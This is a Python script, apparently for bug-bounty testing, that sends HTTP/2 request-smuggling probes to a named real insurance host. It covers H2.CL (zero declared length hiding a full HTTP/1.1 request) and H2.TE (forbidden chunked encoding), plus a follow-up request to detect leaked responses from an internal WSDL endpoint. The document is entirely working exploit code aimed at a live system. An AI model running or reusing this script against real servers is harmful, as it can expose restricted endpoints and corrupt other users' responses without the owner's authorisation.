#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.11"
# dependencies = ["h2>=4.2"]
# ///
import socket,ssl,time,json
from h2.connection import H2Connection
from h2.config import H2Configuration
from h2.events import ResponseReceived,DataReceived,StreamEnded,StreamReset,ConnectionTerminated,InformationalResponseReceived
HOST='gwde.baloise.de'; PORT=443
marker=f'h2bb{int(time.time())}'
inner=(f'GET /pc/ws/gw/wsi/pl/DataChangeAPI?wsdl&bb={marker} HTTP/1.1\r\nHost: {HOST}\r\nX-Bug-Bounty: dwbzn\r\nConnection: keep-alive\r\n\r\n').encode()
def run(name, extra_headers, data):
 ctx=ssl.create_default_context();ctx.set_alpn_protocols(['h2'])
 raw=socket.create_connection((HOST,PORT),timeout=5)
 s=ctx.wrap_socket(raw,server_hostname=HOST);s.settimeout(5)
 if s.selected_alpn_protocol()!='h2': raise RuntimeError('no h2')
 c=H2Connection(config=H2Configuration(client_side=True,header_encoding='utf-8'))
 c.initiate_connection();s.sendall(c.data_to_send())
 common=[(':scheme','https'),(':authority',HOST),('x-bug-bounty','dwbzn')]
 h1=[(':method','POST'),(':path','/error_path/maintenance.html?outer='+marker),*common,*extra_headers]
 c.send_headers(1,h1,end_stream=False)
 c.send_data(1,data,end_stream=True)
 h3=[(':method','GET'),(':path','/error_path/maintenance.html?follow='+marker),*common]
 c.send_headers(3,h3,end_stream=True)
 s.sendall(c.data_to_send())
 streams={1:{'headers':[],'body':bytearray(),'events':[]},3:{'headers':[],'body':bytearray(),'events':[]}}
 conn=[]
 deadline=time.time()+6
 while time.time()<deadline:
  try:b=s.recv(65535)
  except socket.timeout:break
  if not b:break
  evs=c.receive_data(b)
  for e in evs:
   sid=getattr(e,'stream_id',None)
   if sid in streams:
    streams[sid]['events'].append(type(e).__name__)
    if isinstance(e,(ResponseReceived,InformationalResponseReceived)):streams[sid]['headers'] += e.headers
    if isinstance(e,DataReceived):
     streams[sid]['body'] += e.data;c.acknowledge_received_data(e.flow_controlled_length,sid)
   elif isinstance(e,ConnectionTerminated):
    conn.append({'type':'ConnectionTerminated','error_code':e.error_code,'last_stream_id':e.last_stream_id})
  out=c.data_to_send()
  if out:s.sendall(out)
  if all('StreamEnded' in streams[x]['events'] or 'StreamReset' in streams[x]['events'] for x in streams):break
 try:s.close()
 except:pass
 res={'name':name,'marker':marker,'conn':conn,'streams':{}}
 for sid,v in streams.items():
  hd=dict(v['headers'])
  body=bytes(v['body'])
  res['streams'][sid]={'status':hd.get(':status'),'headers':v['headers'],'events':v['events'],'bytes':len(body),'datachange':b'DataChangeAPI' in body,'wsdl':b'<definitions' in body.lower() or b'wsdl:definitions' in body.lower(),'preview':body[:180].decode('latin1','replace')}
  open(f'work/scratch/gwde-h2-{name}-s{sid}.bin','wb').write(body)
 print(json.dumps(res,ensure_ascii=False))
# H2.CL: declared zero body, but DATA carries a complete H1 request.
run('h2cl',[('content-length','0'),('content-type','application/octet-stream')],inner)
# H2.TE: forbidden H2 transfer-encoding plus chunk terminator and a complete H1 request.
run('h2te',[('transfer-encoding','chunked'),('content-type','application/octet-stream')],b'0\r\n\r\n'+inner)
